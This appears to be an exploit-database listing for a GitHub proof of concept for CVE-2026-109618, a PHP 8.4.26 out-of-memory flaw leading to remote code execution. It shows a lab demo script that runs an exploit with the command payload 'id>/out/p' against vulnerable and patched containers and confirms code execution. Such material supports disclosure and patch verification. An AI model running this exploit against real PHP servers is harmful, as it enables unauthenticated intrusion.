Exploit database

GH-4b2427ce9c9de8f96d107523511a2b8e

cozybear-dev/cve-2026-109618

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

413 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
cozybear-dev/cve-2026-109618Revision 6f4b4190d773

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

attacker/run_demo.sh

Shell · 2,350 bytes
#!/bin/sh
# Differential demo for CVE-2026-109618 / GHSA-w8hw-w9fx-j79w:
# exploit the vulnerable target, then confirm that the patched target does
# not yield code execution and stays healthy.
set -u

PROOF_VULN=/proof/vuln/p
PROOF_FIXED=/proof/fixed/p

# The proof volumes are mounted read-write here so stale files cannot create
# a false positive on a repeated run.
rm -f "$PROOF_VULN" "$PROOF_FIXED" 2>/dev/null

echo "=============================================================="
echo " CVE-2026-109618 - PHP OOM bailout -> stale state -> RCE"
echo " GHSA-w8hw-w9fx-j79w  (lab)"
echo "=============================================================="
echo
echo "=== 1/2  PHP 8.4.26 (vulnerable) ==="
python3 /exploit/exploit.py \
    -u http://vuln/index.php \
    --proof "$PROOF_VULN" \
    --cmd 'id>/out/p' \
    --retries 5
vuln_rc=$?
echo
echo "=== 2/2  PHP 8.4.27 (patched) ==="
python3 /exploit/exploit.py \
    -u http://fixed/index.php \
    --proof "$PROOF_FIXED" \
    --cmd 'id>/out/p' \
    --retries 2
fixed_rc=$?
echo

# Post-conditions: the vulnerable proof must exist and contain an id result;
# the patched target must have produced no proof; and the patched worker must
# still answer normal requests (it did not simply crash).
if [ -s "$PROOF_VULN" ] && grep -q 'uid=' "$PROOF_VULN" \
   && [ ! -e "$PROOF_FIXED" ] \
   && python3 -c 'import urllib.request,sys; sys.exit(0 if urllib.request.urlopen("http://fixed/index.php", timeout=10).read().strip()==b"OK" else 1)'
then
    echo "--------------------------------------------------------------"
    echo " Vulnerable proof (/out/p in the 8.4.26 worker):"
    sed 's/^/   /' "$PROOF_VULN"
    echo "--------------------------------------------------------------"
    echo "=============================================================="
    echo " RESULT: CONFIRMED"
    echo "   PHP 8.4.26: unauthenticated code execution as www-data"
    echo "   PHP 8.4.27: no code execution; target still healthy"
    echo "=============================================================="
    exit 0
fi

echo "=============================================================="
echo " RESULT: INCONCLUSIVE (vulnerable rc=$vuln_rc, patched rc=$fixed_rc)"
echo " Check 'docker compose logs vuln fixed' and rerun."
echo "=============================================================="
exit 1